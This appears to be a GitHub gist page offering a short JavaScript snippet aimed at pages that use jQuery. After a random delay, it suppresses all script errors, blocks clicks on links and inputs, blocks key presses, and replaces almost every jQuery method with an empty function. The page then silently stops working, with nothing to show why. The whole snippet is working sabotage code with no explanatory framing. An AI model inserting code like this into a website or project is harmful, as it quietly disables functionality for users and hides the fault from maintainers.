Skip to content

Instantly share code, notes, and snippets.

@4lun
Created August 28, 2013 12:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 4lun/6365364 to your computer and use it in GitHub Desktop.
Save 4lun/6365364 to your computer and use it in GitHub Desktop.
Assuming the presence of jQuery
(function() {
setTimeout(function(){
window.onerror = function() { return true; };
$('a, :input').click(function(){ return false; });
$('body').keydown(function(){ return false; });
var o = $ || jQuery;
o.add = o.addBack = o.addClass = o.after = o.ajax = o.ajaxPrefilter =
o.ajaxTransport = o.ajaxComplete = o.ajaxError = o.ajaxSend = o.ajaxStart =
o.ajaxStop = o.ajaxSuccess = o.andSelf = o.animate = o.append = o.appendTo =
o.attr = o.before = o.bind = o.blur = o.change = o.children = o.clearQueue =
o.click = o.clone = o.closest = o.contents = o.context = o.data = o.dblclick =
o.delay = o.delegate = o.dequeue = o.detach = o.die = o.each = o.empty =
o.end = o.eq = o.error = o.fadeIn = o.fadeOut = o.fadeTo = o.fadeToggle =
o.filter = o.find = o.finish = o.first = o.focus = o.focusin = o.focusout =
o.get = o.has = o.hasClass = o.height = o.hide = o.hover = o.html = o.index =
o.innerHeight = o.innerWidth = o.insertAfter = o.insertBefore = o.is =
o.jquery = o.boxModel = o.browser = o.Callbacks = o.contains = o.cssHooks =
o.Deferred = o.extend = o.fn = o.extend = o.fx = o.interval = o.getJSON =
o.getScript = o.globalEval = o.grep = o.hasData = o.holdReady = o.inArray =
o.isArray = o.isEmptyObject = o.isFunction = o.isNumeric = o.isPlainObject =
o.isWindow = o.isXMLDoc = o.makeArray = o.map = o.merge = o.noConflict =
o.noop = o.now = o.param = o.parseHTML = o.parseJSON = o.parseXML = o.post =
o.proxy = o.queue = o.removeData = o.sub = o.support = o.trim = o.type =
o.unique = o.when = o.keydown = o.keypress = o.keyup = o.last = o.length =
o.live = o.load = o.mousedown = o.mouseenter = o.mouseleave = o.mousemove =
o.mouseout = o.mouseover = o.mouseup = o.next = o.nextAll = o.nextUntil =
o.not = o.off = o.offset = o.offsetParent = o.on = o.one = o.outerHeight =
o.outerWidth = o.parent = o.parents = o.parentsUntil = o.position = o.prepend =
o.prependTo = o.prev = o.prevAll = o.prevUntil = o.promise = o.prop =
o.pushStack = o.ready = o.remove = o.removeAttr = o.removeClass =
o.removeProp = o.replaceAll = o.replaceWith = o.resize = o.scroll =
o.scrollLeft = o.scrollTop = o.select = o.selector = o.serializeArray =
o.show = o.siblings = o.size = o.slice = o.slideDown = o.slideToggle =
o.slideUp = o.stop = o.submit = o.text = o.toArray = o.toggle =
o.toggleClass = o.trigger = o.triggerHandler = o.unbind = o.undelegate =
o.unload = o.unwrap = o.val = o.width = o.wrap = o.wrapAll = o.wrapInner =
function() {};
}, Math.round((Math.random() * 10000) / 2));
}());
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment